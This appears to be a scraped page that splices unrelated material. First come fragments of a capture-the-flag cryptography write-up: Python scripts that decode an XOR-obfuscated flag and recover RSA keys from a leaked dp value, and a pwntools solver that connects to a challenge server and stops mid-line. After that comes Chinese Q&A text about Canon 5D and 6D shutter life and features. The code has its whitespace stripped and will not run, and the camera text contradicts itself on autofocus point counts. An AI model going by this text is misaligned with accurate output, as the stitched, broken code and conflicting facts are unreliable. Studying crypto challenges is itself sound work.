seeds=[4827,9522,552,880,7467,7742,9425,4803,6146,4366,1126,4707,1138,2367,1081,5577,4592,5897,4565,2012,2700,1331,9638,7741,50,824,8321,7411,6145,1271,7637,5481,8474,2085,2421,590,7733,9427,3278,5361,1284,2280,7001,8573,5494,7431,2765,827,102,1419,6528,735,5653,109,4158,5877,5975,1527,3027,9776,5263,5211,1293,5976,7759,3268,1893,6546,4684,419,8334,7621,1649,6840,2975,8605,5714,2709,1109,358,2858,6868,2442,8431,8316,5446,9356,2817,2941,3177,7388,4149,4634,4316,5377,4327,1774,6613,5728,1751,8478,3132,4680,3308,9769,8341,1627,3501,1046,2609,7190,5706,3627,8867,2458,607,642,5436,6355,6326,1481,9887,205,5511,537,8576,6376,3619,6609,8473,2139,3889,1309,9878,2182,8572,9275,5235,6989,6592,4618,7883,5702,3999,925,2419,7838,3073,488,21,3280,9915,3672,579]res=[55,5,183,192,103,32,211,116,102,120,118,54,120,145,185,254,77,144,70,54,193,73,64,0,79,244,190,23,215,187,53,176,27,138,42,89,158,254,159,133,78,11,155,163,145,248,14,179,23,226,220,201,5,71,241,195,75,191,237,108,141,141,185,76,7,113,191,48,135,139,100,83,212,242,21,143,255,164,146,119,173,255,140,193,173,2,224,205,68,10,77,180,24,23,196,205,108,28,243,80,140,4,98,76,217,70,208,202,78,177,124,10,168,165,223,105,157,152,48,152,51,133,190,202,136,204,44,33,58,4,196,219,71,150,68,162,175,218,173,19,201,100,100,85,201,24,59,186,46,130,147,219,22,81]importrandomdp=''fori,eachinenumerate(seeds):random.seed(each)for_inrange(i%4):random.randint(0,255)dp+=chr(res[i]^random.randint(0,255))print(dp)

edp\equiv1\(mod\p-1)\edp=k(p–1)+1\e*dp+k–1=pk

爆破$k$,求$gcd(n,e*dp+k–1)$解出$p$

fromCrypto.Util.numberimport*n=81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353244981467900057157997462760732019372185955846507977456657760125682125104309241802108853618468491463326268016450119817181368743376919334016359137566652069490881871670703767378496685419790016705210391c=61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850789493701589309453566095881294166336673487909221860641809622524813959284722285069755310890972255545436989082654705098907006694780949725756312169019688455553997031840488852954588581160550377081811151e=65537dp=5372007426161196154405640504110736659190183194052966723076041266610893158678092845450232508793279585163304918807656946147575280063208168816457346755227057foriinrange(e):ifGCD(n,int(e*dp+i-1))>1:p=GCD(n,int(e*dp+i-1))q=n//pprint(long_to_bytes(pow(c,inverse(e,(p-1)*(q-1)),n)))break

myRSA

先对$n-1$进行加密,拿到$temp=(x+y)(n-1)+k_1+k_2$$k_1+k_2$大概有1041bit讲temp整除$n-1$之后可以得到$x+y$的大概值然后根据大小关系,直接对$x+y$开三次根$+1$拿到$p+q$,拿flag同理直接把enc_flag整除$x+y$即可拿到正常的c

#-*-coding:utf-8-*-fromhashlibimportsha256fromCrypto.Util.numberimport*frompwnimport*fromgmpy2importirootString='ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz'defproof(known,hashcode):foreach1inString:foreach2inString:foreach3inString:foreach4inString:this=each1+each2+each3+each4+knownifsha256(this.encode()).hexdigest()==hashcode:#print(each1+each2+each3+each4)returneach1+each2+each3+each4host,port="47.104.85.225",49803context.log_level="debug"sh=remote(host,port)data=sh.recvrepeat(1).decode()known,hashcode=re.findall(r'256\(\?

佳能6d快门寿命怎么看

快门计数,指单反相机快门的触发总次数。快门计数其实是一个记录相机使用寿命的重要参数,因为相机快门虽然是机械性构件,一定会随着使用次数的增加而磨损。正常情况下,佳能6D的快门使用寿命是10-15万次快门,以此来对相机寿命进行可靠评估。

佳能5d3是一款非常优秀的全画幅单反相机,非常受到摄影师们的喜爱。在平时使用中,我们都知道其快门寿命是一个非常重要的指标,因为它关系到相机的使用寿命以及拍摄的质量。下面就对佳能5d3快门寿命怎么看从专业的角度进行分析:

用佳能7d2拍摄体育赛事可行吗?你怎么看?

"佳能6D怎么看自己拍的多少张"其实其指的是佳能6D的快门次数查询,也称快门计数。

对于“佳能5d4怎么看还能拍多久”这个问题,首先需要了解几个基本概念:

1.快门寿命:快门是相机的核心部件,负责控制光线进入镜头的时间和数量,可以说是相机最易损坏的组件。相机的快门寿命指的是快门可以正常工作的时间或快门的耐用程度。

2.快门耗材:快门耗材是指相机的快门以及快门控制电路等耗材部件,这些部件使用寿命较短,通常需要在使用一定次数后更换。

3.操作使用:相机的寿命除了包括机身的物理部件之外,还包括操作使用的因素,例如保护相机、避免碰撞、避免严重的震动等。

基于这些概念,我们可以对“佳能5d4还能拍多久”这个问题进行深入分析:

1.快门寿命:佳能5d4的快门寿命约为20万次,这个数字是相机厂商根据实验数据得出的,通常当相机使用一定年限后,就会逐渐接近寿命限制。但需要注意的是,这并不是一个绝对的数字,因为相机的快门寿命会受到很多其他因素的影响,例如快门频率、拍摄环境、使用情况等。

2.快门耗材:佳能5d4的快门是需要更换的耗材部件,通常需要在数万次快门使用后更换。但这个数字也是相对的,因为不同用户的相机使用频率和拍摄环境差异较大,会导致快门更换时间的差异。

3.操作使用:相机的操作使用对相机的使用寿命影响也很大,合理使用相机并正确保护,可以延长相机的使用寿命。

佳能5dmark2短片

关于佳能5dmark2的第一个知识点是其出色的画质表现。作为一款全画幅单反相机,佳能5dmark2配备了2100万像素的CMOS传感器。这一传感器能够捕捉到更多的细节和色彩,并且具有出色的动态范围。无论是在室内还是户外,无论是拍摄风景还是人物,佳能5dmark2都能够提供出色的画面质量。

其次是佳能5dmark2的快门速度和对焦系统。该相机配备了高速DIGIC4图像处理器,能够实现每秒最高达3.9帧的连拍速度。同时,佳能5dmark2还配备了9点自动对焦系统,其中包括6个十字传感器,能够快速准确地对焦。无论是拍摄高速运动的体育场景还是捕捉瞬间的人物肖像,佳能5dmark2都能够满足摄影师的需求。

佳能5D2设置拍视频模式方法如下:

1、首先准备好佳能5D2相机。

2、之后拨动相机左侧的开机按键,拨到ON位置,就可以将相机打开。

3、之后按动相机上方的图示按键,转动旋钮到M档,就会进入到摄像模式,注意只有按动图示按键的情况下才能转动旋钮。

4、之后可以在相机上设置录像的画质。

5、也可以设置短片的记录尺寸等参数。

佳能eos5dmark3拍摄视频通过实时显示拍摄,短片拍摄开关设定为短片模式,记录格式为MOV。

1、短片拍摄步骤见图:

2、短片回放步骤见图:

佳能单反5dmark2

第三个知识点:佳能相机5dmark2的功能

第一个知识点:佳能相机5dmark2的画质表现力

第二个知识点:佳能相机5dmark2的影像处理器

第四个知识点:佳能相机5dmark2的视频拍摄功能

1022是给APSC单反用的,不能给全幅单反用,装得上也会打反光板。5D2应该用EF镜头。超广有1740和1635都不错啊。

佳能相机5dmark2是一款被广大摄影爱好者所推崇的相机。它拥有出色的画质表现力、先进的影像处理器和丰富的功能,适用于各种拍摄场景。下面我们来拓展佳能相机5dmark2的几个知识点,

佳能相机5dmark2具有丰富的功能,满足专业摄影师的需求。其中,自动对焦系统是一个重要的功能之一。5dmark2配备了9个对焦点,包括6个十字型对焦传感器,提供精确快速的对焦效果。此外,5dmark2的快门速度可达1/8000秒,并具备镜头光圈数值视觉显示功能,帮助摄影师更好地控制光线。

5Dmark2是专业级数码全幅相机,7D是专业级APS画幅。

1.全画幅的CMOS比APS画幅的面积大,其中的技术含量多,所以制造成本比APS的感光芯片高,这是5Dmark2比较贵的主要因素之一。

2.其次就是机身材质问题,5Dmark2是全镁合金机身,而7D是镁合金框架机身。

3.连拍速度快慢,取决于CMOS对感光信息的转换速度、图象储存速度来决定,图象大,数码信息转换速度、存储速度就慢。5Dmark2的图象像素、分辨率都大于7D,所以连拍肯定要慢一些。欢迎追问

佳能5dmark2快门

佳能5dmark2是一款专业级别的数码单反相机,下面从以下几个方面介绍其使用方法及注意事项:

佳能5dmark2是一款非常优秀的相机,使用者只需熟练掌握以上几点,便可在摄影过程中得心应手,获得出色的拍摄效果。

佳能5dmark2是一款专业级别的数码单反相机,是广受欢迎的全幅相机之一。如果您是一个新手,想要学习这款相机,

总结起来,佳能5dmark2具有优秀的画质、灵活和全面的拍摄功能,而且适用于不同的拍摄领域,是一款足以满足专业摄影师的需求的相机。

DERIC:快门反应的提升真的太赞了!这个是最大的惊喜呢!5DMark2的快门反应确实有点懒洋洋的感觉,但6D的快门反应灵敏了许多,不论在时滞方面还是反光镜往返的速度也有很大的提升,虽然感觉和5DMark3还有点点差别,但确实很惊喜呢!这是最令我想换机的改进点!

1.相机结构

佳能5dmark2的机身采用镁铝合金材质,耐用性好,机身制造精良。相机操作采用经典的佳能单反相机布局,使用起来比较方便。相机接口丰富,可以与各种摄影器材配合使用。

2.曝光控制

佳能5dmark2的曝光控制包括光圈、快门和ISO三个参数。光圈和快门可以手动控制,ISO可以自动或手动控制。在不同场景下,您可以根据需要选择合适的曝光参数。

3.对焦系统

佳能5dmark2采用19个对焦点自动对焦系统,可以快速、准确地对焦。对焦点的位置可以手动选择,还可以设定连续对焦功能,使拍摄运动物体时更容易锁定对焦。

4.白平衡

佳能5dmark2的白平衡控制可以手动或自动控制。手动设定白平衡时,可以选择各种白平衡预设,也可以根据画面的情况自行设定白平衡值。自动白平衡功能能够根据拍摄环境的光线情况自动调整白平衡值。

返回顶部